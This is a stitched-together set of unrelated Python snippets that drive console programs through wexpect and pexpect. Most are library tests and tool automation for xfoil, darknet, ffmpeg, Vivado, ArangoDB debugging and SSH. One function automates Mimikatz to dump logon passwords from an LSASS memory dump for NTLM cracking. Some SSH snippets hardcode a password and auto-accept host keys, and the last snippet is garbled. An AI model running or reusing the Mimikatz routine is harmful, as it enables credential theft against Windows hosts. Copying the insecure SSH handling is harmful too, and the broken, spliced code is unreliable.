def testReadline(self): fooPath = python_executable + ' ' + child_script prompt = ': ' num = 5 # Start the child process p = wexpect.spawn(fooPath) # Wait for prompt p.expect(prompt) p.sendline(str(num)) p.expect('Bye!\r\n') expected_lines = p.before.splitlines(True) # Keep the line end expected_lines += [p.match.group()] # Start the child process p = wexpect.spawn(fooPath) # Wait for prompt p.expect(prompt) p.sendline(str(num)) for i in range(num + 2): # +1 the line of sendline +1: Bye line = p.readline() self.assertEqual(expected_lines[i], line) # Start the child process p = wexpect.spawn(fooPath) # Wait for prompt p.expect(prompt) p.sendline(str(num)) readlines_lines = p.readlines() self.assertEqual(expected_lines, readlines_lines)
def test_expect_exact(self): the_old_way = subprocess.Popen( args=['ls', '-l'], stdout=subprocess.PIPE).communicate()[0].rstrip() p = wexpect.spawn('ls -l') the_new_way = '' while 1: i = p.expect_exact(['\n', wexpect.EOF]) the_new_way = the_new_way + p.before if i == 1: break the_new_way = the_new_way.replace('\r\n', '\n').replace('\r', '\n').replace( '\n\n', '\n').rstrip() the_old_way = the_old_way.decode('utf-8') the_old_way = the_old_way.replace('\r\n', '\n').replace('\r', '\n').replace( '\n\n', '\n').rstrip() self.assertEqual(the_old_way, the_new_way) # Termination of the SpawnSocket is slow. We have to wait to prevent the failure of the next test. if wexpect.spawn_class_name == 'SpawnSocket': p.wait() p = wexpect.spawn('echo hello.?world') i = p.expect_exact('.?') self.assertEqual(p.before, 'hello') self.assertEqual(p.after, '.?')
def run_xfoil(parsed_files): xfoil = wexpect.spawn(xfoil_path, encoding='utf-8') with open('processed.txt', 'a') as processed: with open('unprocessed.txt', 'a') as unprocessed: for parsed_file in parsed_files: start = time.time() foil_name = parsed_file.split('.')[0] if load_file(xfoil, parsed_file, foil_name): for alpha in seq(0, 20, step_size): if change_alpha(xfoil, alpha) == 0: for smaller_alpha in seq(alpha - 0.25, alpha, smaller_step_size): change_alpha(xfoil, smaller_alpha) for alpha in seq(0, -20, -step_size): if change_alpha(xfoil, alpha) == 0: for smaller_alpha in seq(alpha + 0.25, alpha, -smaller_step_size): change_alpha(xfoil, smaller_alpha) else: xfoil.kill(signal.SIGINT) xfoil = wexpect.spawn(xfoil_path, encoding='utf-8') end = time.time() print(str(os.getpid()) + ': File was unprocessed ' + parsed_file + ' took ' + str(end - start)) unprocessed.write(parsed_file + '\n') unprocessed.flush() continue reset(xfoil) end = time.time() print(str(os.getpid()) + ': File ' + parsed_file + ' took ' + str(end - start)) processed.write(parsed_file + '\n') processed.flush()
def test_bad_arguments_second_arg_is_list(self): " Second argument to spawn, if used, must be only a list." with self.assertRaises(TypeError): wexpect.spawn('ls', '-la', coverage_console_reader=True) with self.assertRaises(TypeError): # not even a tuple, wexpect.spawn('ls', ('-la', ), coverage_console_reader=True)
def test_named_parameters(self): '''This tests that named parameters work. ''' p = wexpect.spawn('ls', timeout=10) p.wait() p = wexpect.spawn(timeout=10, command='ls') p.wait() p = wexpect.spawn(args=[], command='ls') p.wait()
def test_constructor(self): '''This tests that the constructor will work and give the same results for different styles of invoking __init__(). This assumes that the root directory / is static during the test. ''' p1 = wexpect.spawn('uname -m -n -p -r -s -v') p1.expect(wexpect.EOF) p2 = wexpect.spawn('uname', ['-m', '-n', '-p', '-r', '-s', '-v']) p2.expect(wexpect.EOF) self.assertEqual(p1.before, p2.before) self.assertEqual(str(p1).splitlines()[1:9], str(p2).splitlines()[1:9]) run_result = wexpect.run('uname -m -n -p -r -s -v') self.assertEqual(run_result, p2.before)
def classify_image(self, image): ''' Classifies a given image. Simply provide the name (string) of the image, and the proc to do it on. Input: image (string) - name of the saved image file self.proc (proc) - Pexpect proc to interact with Return: Returns the output from darknet, which gives the location of each bounding box. ''' print("image is here:", image) # child = wexpect.spawn('cmd') # child.expect('>') # child.sendline('ls') # child.expect('>') # print(child.before) # child.sendline('exit') child = wexpect.spawn( 'darknet.exe detector test data/obj.data yolov3-obj.cfg yolov3-obj_final.weights -thresh 0.25 -ext_output -dont_show pancards/dl.jpeg' ) # self.proc.expect('Enter Image Paths:') # self.proc.expect('.*') # self.proc.sendline(image) # self.proc.expect(pexpect.EOF, 'Enter Image Path:', timeout=90) # res = self.proc.before child.expect(wexpect.EOF) res = child.before print(res) # return res.decode('utf-8') return res
def __spawnFramsticksCLI(self, args): # the child app (Framsticks CLI) should not buffer outputs and we need to immediately read its stdout, hence we use pexpect/wexpect print( 'Spawning Framsticks CLI for continuous stdin/stdout communication... ', end='') if os.name == "nt": # Windows: import wexpect # https://pypi.org/project/wexpect/ # https://github.com/raczben/wexpect/tree/master/examples self.child = wexpect.spawn(' '.join(args)) else: import pexpect # https://pexpect.readthedocs.io/en/stable/ self.child = pexpect.spawn(' '.join(args)) self.child.setecho( False ) # ask the communication to not copy to stdout what we write to stdin print('OK.') self.__readFromFramsCLIUntil("UserScripts.autoload") print('Performing a basic test 1/2... ', end='') assert self.getSimplest("1") == "X" print('OK.') print('Performing a basic test 2/2... ', end='') assert self.isValid(["X[0:0],", "X[0:0]", "X[1:0]"]) == [False, True, False] print('OK.') if not self.DETERMINISTIC: self.sendDirectCommand(self.RANDOMIZE_CMD) self.sendDirectCommand(self.SETEXPEDEF_CMD)
def convert_video_progress_bar(source: str, dest: str, manager=None): if manager is None: manager = enlighten.get_manager() name = source.rsplit(os.path.sep,1)[-1] if get_bitdepth(source).is_10bit: args = CONVERT_COMMAND_10Bits.format(source=source, dest=dest) else: args = CONVERT_COMMAND.format(source=source, dest=dest) proc = expect.spawn(args, encoding='utf-8') pbar = None try: proc.expect(pattern_duration) total = sum(map(lambda x: float(x[1])*60**x[0],enumerate(reversed(proc.match.groups()[0].strip().split(':'))))) cont = 0 pbar = manager.counter(total=100, desc=name, unit='%',bar_format=BAR_FMT, counter_format=COUNTER_FMT) while True: proc.expect(pattern_progress) progress = sum(map(lambda x: float(x[1])*60**x[0],enumerate(reversed(proc.match.groups()[0].strip().split(':'))))) percent = progress/total*100 pbar.update(percent-cont) cont = percent except expect.EOF: pass finally: if pbar is not None: pbar.close() proc.expect(expect.EOF) res = proc.before res += proc.read() exitstatus = proc.wait() if exitstatus: raise ffmpeg.Error('ffmpeg','',res)
def test_abort(find_executable, artifacts): """Test user's ability to abort their program using the q input :param fixture find_executable: Finds and returns the simulator executable :param fixture artifacts: Sets up the artifacts folder, organizes artifacts at teardown """ TEST_PROGRAM = r"SourcePrograms/SimpleProgram.s" # Execute simulator program = xexpect.spawn("./" + find_executable, ["-f" + TEST_PROGRAM, "-d"]) for debug_option in ('', '', '', 'q'): try: program.expect("Debug Option: ", timeout=0.2) except (xexpect.TIMEOUT, xexpect.EOF) as e: print(e) assert(program.isalive() == False), "Program is hung" break program.sendline(debug_option) try: program.expect("Aborting program...", timeout=0.2) except: assert(False), "Program did not abort" try: polling.poll(lambda: program.isalive() == False, step=0.1, timeout=1) except polling.TimeoutException as te: assert(False), "Program is hung" returncode = program.wait() assert(returncode == 0), "Program did not execute successfully"
def test_buffer_interface(self): p = wexpect.spawn('cat', timeout=5) p.sendline('Hello') p.expect('Hello') assert len(p.buffer) p.buffer = 'Testing' p.sendeof()
def test_debug_symbols_symsrv_windows(self): """Debug arangod executable using symbol server (Windows)""" symsrv_dir = str(DebuggerTestSuite.SYMSRV_DIR) store(str(self.installer.cfg.debug_install_prefix / "arangod.pdb"), symsrv_dir) exe_file = [ str(file.path) for file in self.installer.arango_binaries if file.path.name == "arangod.exe" ][0] dump_file = create_dump_for_exe(exe_file, DebuggerTestSuite.DUMP_FILES_DIR) with step( "Check that stack trace with function names and line numbers can be acquired from cdb" ): cmd = " ".join([ "cdb", "-z", dump_file, "-y", f"srv*{DebuggerTestSuite.SYMSRV_CACHE_DIR}*{DebuggerTestSuite.SYMSRV_DIR}", "-lines", "-n", ]) attach(cmd, "CDB command", attachment_type=AttachmentType.TEXT) cdb = wexpect.spawn(cmd) cdb.expect(DebuggerTestSuite.CDB_PROMPT, timeout=900) cdb.sendline("k") cdb.expect(DebuggerTestSuite.CDB_PROMPT, timeout=900) stack = cdb.before cdb.sendline("q") attach(stack, "Stacktrace from cdb output", attachment_type=AttachmentType.TEXT) assert "arangod!main" in stack, "Stack must contain real function names." assert "arangod.cpp" in stack, "Stack must contain real source file names."
def test_forced_terminate(self): p = wexpect.spawn(PYBIN + ' needs_kill.py') p.expect('READY') self.assertEqual(p.terminate(force=True), True) p.expect(wexpect.EOF) assert not p.isalive()
def __init__(self): self.teams = create_teams() self.mc_server = wexpect.spawn( 'java -Xms4G -Xmx4G -jar "server.jar" nogui java', cwd=os.getcwd()) self.accounted = [] self.worldborder_center_location = [0, 0] self.worldborder_start_size = 1000 self.worldborder_end_size = 16 self.worldborder_collapse_time = 2400 self.initiate_match_teams_indexes = [] self.initiate_match_teams_spawn_locations = [] self.total_players = [] self.check_players_time = 0 self.last_initiated = 0 #when is the border expected to finish closing? self.end_time = 0 #a counter to keep track of the stages or waves that are sent to players self.end_time_intervention = 0 #timer to time how long should be waited beteween waves self.end_time_time_between_waves = 0 #error rebound counter self.error_rebound = 0 if modded: self.item_pack = m_1_12_2 else: self.item_pack = v_1_15_2 self.item_pack_number = item_quantity #if vanilla chunks are forceloaded so teleports can go fast if modded: self.teambuffertime = 0.1 else: self.teambuffertime = 5
def __init__(self, executable, args=['-mode', 'tcl'], name='Vivado_01', prompt=default_vivado_prompt): self.childProc = None self.name = name self.prompt = prompt if executable is not None: # None is fake run self.childProc = expect.spawn(executable, args)
def mimikatz_dumping(lsass_path, current_dir): try: print("[*] Starting Mimikatz BE PATIENT!") t = threading.Thread(target = load_animation) t.start() child = wexpect.spawn('mimikatz.exe') child.expect('#') child.sendline('log MimiDump.txt') child.expect('#') child.sendline('privilege::debug') child.expect('#') child.sendline('token::elevate') child.expect('#') child.sendline(f'sekurlsa::minidump {lsass_path}') child.expect("#") child.sendline('sekurlsa::logonpasswords') child.expect("#") child.sendline("exit") global status status = True t.join() time.sleep(1.5) os.system(f'powershell mv -Force MimiDump.txt {current_dir}') print('[+] MimiDump.txt file was created successfuly to crack the NTLM Hash!') except Exception as e: print('[-] Something went Wrong: ',e)
def test_isalive(self): " check isalive() before and after EOF. (True, False) " child = wexpect.spawn('cat') assert child.isalive() is True child.sendeof() child.expect(wexpect.EOF) assert child.isalive() is False
def test_long (self): here = os.path.dirname(os.path.abspath(__file__)) sys.path.insert(0, here) # With quotes (C:\Program Files\Python37\python.exe needs quotes) python_executable = '"' + sys.executable + '" ' child_script = here + '\\long_printer.py' longPrinter = python_executable + ' ' + child_script prompt = 'puskas> ' # Start the child process p = wexpect.spawn(longPrinter) # Wait for prompt p.expect(prompt) for i in range(10): p.sendline('0') p.expect(prompt) self.assertEqual(p.before.splitlines()[1], puskas_wiki[0]) p.sendline('all') p.expect(prompt) for a,b in zip(p.before.splitlines()[1:], puskas_wiki): self.assertEqual(a, b) for j, paragraph in enumerate(puskas_wiki): p.sendline(str(j)) p.expect(prompt) self.assertEqual(p.before.splitlines()[1], paragraph)
def test_expect_isalive_dead_after_SIGHUP(self): p = wexpect.spawn('cat', timeout=5) assert p.isalive() force = False self.assertEqual(p.terminate(), True) p.expect(wexpect.EOF) assert not p.isalive()
def test_debug_symbols_windows(self, executable): """Check that debug symbols can be used to debug arango executable using a memory dump file (Windows)""" exe_file = [ str(file.path) for file in self.installer.arango_binaries if file.path.name == executable + ".exe" ][0] dump_file = create_dump_for_exe(exe_file, DebuggerTestSuite.DUMP_FILES_DIR) pdb_dir = str(self.installer.cfg.debug_install_prefix) with step( "Check that stack trace with function names and line numbers can be acquired from cdb" ): cmd = " ".join( ["cdb", "-z", dump_file, "-y", pdb_dir, "-lines", "-n"]) attach(cmd, "CDB command", attachment_type=AttachmentType.TEXT) cdb = wexpect.spawn(cmd) cdb.expect(DebuggerTestSuite.CDB_PROMPT, timeout=180) cdb.sendline("k") cdb.expect(DebuggerTestSuite.CDB_PROMPT, timeout=180) stack = cdb.before cdb.sendline("q") attach(stack, "Stacktrace from cdb output", attachment_type=AttachmentType.TEXT) assert f"{executable}!main" in stack, "Stack must contain real function names." assert f"{executable}.cpp" in stack, "Stack must contain real source file names."
def __init__(self, executable, args=None, name='Vivado_01', prompt=default_vivado_prompt, timeout=10, encoding="utf-8", wait_startup=True): self.child_proc = None self.name = name self.prompt = prompt self.timeout = timeout self.encoding = encoding self.last_cmds = [] self.last_befores = [] self.last_prompts = [] if args is None: args = ['-mode', 'tcl'] if executable is not None: # None is fake run logger.info('Spawning Vivado: ' + executable + str(args)) self.child_proc = expect.spawn(executable, args) if wait_startup: self.wait_startup()
def test_debug_network_symbol_server_windows(self): """Check that debug symbols can be found on the ArangoDB symbol server and then used to debug arangod executable""" # This testcase is needed to check the state of the symbol server and is not meant to run during ArangoDB product testing. version = semver.VersionInfo.parse(self.installer.cfg.version) symsrv_dir = "\\\\symbol.arangodb.biz\\symbol\\symsrv_arangodb" + str( version.major) + str(version.minor) dump_file = create_arangod_dump(self.installer, str(DebuggerTestSuite.STARTER_DIR), str(DebuggerTestSuite.DUMP_FILES_DIR)) with step( "Check that stack trace with function names and line numbers can be acquired from cdb" ): cmd = " ".join([ "cdb", "-z", dump_file, "-y", f"srv*{DebuggerTestSuite.SYMSRV_CACHE_DIR}*{symsrv_dir}", "-lines", "-n", ]) attach(cmd, "CDB command", attachment_type=AttachmentType.TEXT) cdb = wexpect.spawn(cmd) cdb.expect(DebuggerTestSuite.CDB_PROMPT, timeout=900) cdb.sendline("k") cdb.expect(DebuggerTestSuite.CDB_PROMPT, timeout=900) stack = cdb.before cdb.sendline("q") attach(stack, "Stacktrace from cdb output", attachment_type=AttachmentType.TEXT) assert "arangod!main" in stack, "Stack must contain real function names." assert "arangod.cpp" in stack, "Stack must contain real source file names."
def testPath(): # Path of cmd executable: cmdPath = 'cmd' cmdPrompt = '>' referenceOut = None while True: # Start the child process p = wexpect.spawn(cmdPath) # Wait for prompt p.expect(cmdPrompt) # Send a command p.sendline('ls') # time.sleep(0.6) p.expect(cmdPrompt) print(cmdPath + " >>" + p.before + '<<') if referenceOut: if referenceOut != p.before: p.interact() time.sleep(5) raise Exception() else: referenceOut = p.before
def accessJumpBox(username, password): print('\n--- Attempting connection to ' + 'IS6 Server... ') ssh_newkey = 'Are you sure you want to continue connecting' session = wexpect.spawn('ssh ' + username + '@is6.hsnet.ufl.edu') idx = session.expect([ssh_newkey, 'word', wexpect.EOF]) if idx == 0: session.sendline('yes') idx = session.expect([ssh_newkey, 'word', wexpect.EOF]) if idx == 0: session.sendline(password) elif idx == 1: session.sendline(password) idx = session.expect(['$', wexpect.EOF]) if idx == 0: print("--- Successful Login to JumpBox") return session else: print("--- Terminated program") exit()
def run_xfoil(p_index, parsed_file): xfoil = wexpect.spawn(xfoil_path, encoding='utf-8') start_time = time.time() foil_name = parsed_file.split('.')[0] if load_file(xfoil, parsed_file, foil_name): try: xfoil = run_sequence(xfoil, p_index, foil_name, parsed_file, 0, 20, step_size, smaller_step_size) run_sequence(xfoil, p_index, foil_name, parsed_file, 0, -20, -step_size, -smaller_step_size) except Exception as ex: print(str(ex)) with open('unprocessed.txt', 'a') as unprocessed: unprocessed.write(parsed_file + '\n') return str(ex) end = time.time() print('{0:4d}: File: {1:20s} processed. Took: {2:5f} seconds'.format( p_index, foil_name, end - start_time)) with open('processed.txt', 'a') as processed: processed.write(parsed_file + '\n') return '{0:4d}: {1:20s} processed.'.format(p_index, foil_name) else: print('{0:4d}: File: {1:20s} processing failed.'.format( p_index, foil_name)) with open('unprocessed.txt', 'a') as unprocessed: unprocessed.write(parsed_file + '\n') return '{0:4d}: {1:20s} failed.'.format(p_index, foil_name)
def test_write(self): " write a character and return it in return. " child = wexpect.spawn('cat', coverage_console_reader=True) child.write('a') child.write('\r') child.readline() self.assertEqual(child.readline(), 'a\r\n')
def test_readline(self): " Test spawn.readline(). " # when argument 0 is sent, nothing is returned. # Otherwise the argument value is meaningless. child = wexpect.spawn('cat', coverage_console_reader=True) child.sendline("alpha") child.sendline("beta") child.sendline("gamma") child.sendline("delta") child.sendeof() self.assertEqual(child.readline(0), '') child.readline().rstrip() self.assertEqual(child.readline().rstrip(), 'alpha') child.readline().rstrip() self.assertEqual(child.readline(1).rstrip(), 'beta') child.readline().rstrip() self.assertEqual(child.readline(2).rstrip(), 'gamma') child.readline().rstrip() self.assertEqual(child.readline().rstrip(), 'delta') child.expect(wexpect.EOF) if type(child).__name__ in ['SpawnPipe', 'SpawnSocket']: time.sleep(child.delayafterterminate) assert not child.isalive(trust_console=False) else: assert not child.isalive() self.assertEqual(child.exitstatus, 0)
def test_readline_bin_echo(self): " Test spawn('echo'). " # given, child = wexpect.spawn('echo', ['alpha', 'beta']) # exercise, self.assertEqual(child.readline(), 'alpha beta\r\n')
def test_isatty(self): " Test isatty() is True after spawning process on most platforms. " child = wexpect.spawn('cat', coverage_console_reader=True) if not child.isatty() and sys.platform.lower().startswith('sunos'): if hasattr(unittest, 'SkipTest'): raise unittest.SkipTest("Not supported on this platform.") return 'skip' assert child.isatty()
def test_isalive(self): " check isalive() before and after EOF. (True, False) " child = wexpect.spawn('cat', coverage_console_reader=True) self.assertTrue(child.isalive()) child.sendeof() child.expect(wexpect.EOF) assert child.isalive() is False self.assertFalse(child.isalive())
def connectServer(self, server): connection = None try: term = pexpect.spawn (server["connect_string"], timeout=600) term.logfile = sys.stdout first_expect_string = server["login_expect"].pop(0).strip() #print first_expect_string #term.expect(first_expect_string) i = term.expect([pexpect.TIMEOUT, SSH_NEWKEY, first_expect_string]) if i == 0: # Timeout self.logger.error('ERROR! could not login with SSH. Here is what SSH said:') self.logger.error(term.before) self.logger.error(term.after) self.logger.error(str(term)) return None if i == 1: # In this case SSH does not have the public key cached. term.sendline ('yes') term.expect (first_expect_string) if i == 2: is_expect = False #print "\nLogin expect now is: " + str(server["login_expect"]) for expect in server["login_expect"]: expect = expect.strip() print "\nexpect: " + expect if is_expect: term.expect(expect) else: term.sendline(expect) is_expect = not is_expect except Exception, ex: self.logger.error('ERROR! Can not login server %s :' % server["name"]) self.logger.error(str(ex)) return None
import sys import time import wexpect as pexpect # This is the prompt we get if SSH does not have the remote host's public key stored in the cache. SSH_NEWKEY = '(?i)are you sure you want to continue connecting' terms = [] for j in range (3): user = "******" #+ str(j) passw = "mtc" #+ str(j) print "\nOpening a new session %d with user %s" % (j, user) term = pexpect.spawn ("ssh %[email protected]" % user, timeout=600) term.logfile = sys.stdout i = term.expect([pexpect.TIMEOUT, SSH_NEWKEY, "Password:"******"Password:"******"cli>"])